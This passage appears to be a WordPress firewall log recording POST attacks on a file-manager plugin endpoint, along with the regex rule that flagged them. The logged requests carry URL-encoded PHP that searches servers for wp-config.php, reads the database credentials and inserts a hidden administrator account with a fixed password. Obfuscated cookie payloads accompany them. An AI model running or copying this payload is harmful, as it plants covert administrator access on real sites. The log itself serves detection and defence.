20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nUT=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 23:35:36","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lq:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoURvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:12640\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\n\nlq=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB